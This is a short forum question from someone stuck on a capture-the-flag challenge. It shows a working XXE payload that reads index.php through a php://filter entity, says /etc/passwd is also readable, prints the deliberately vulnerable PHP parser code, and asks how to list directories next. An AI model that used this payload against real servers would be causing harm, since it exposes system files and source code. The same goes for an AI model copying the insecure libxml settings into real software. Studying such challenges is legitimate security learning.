I have come across XXE on a CTF a while ago and I can't get my head around where to go from where I am.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">]>
<root>
<content>&xxe;</content>
</root>
This will give me the source code for the single page that the site has. I can also grab /etc/passwd
, not shadow though.
The source code of the page absolutely doesn't give anything away. No JS to speak of and the only PHP is below:
<?php
if (isset($_GET["xml"])) {
libxml_disable_entity_loader (false);
$document = new DOMDocument();
$document->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
$parsed = simplexml_import_dom($document);
echo $parsed->content;
}
?>
My question is whether there is some way to read the contents of a directory or move on from where I currently am?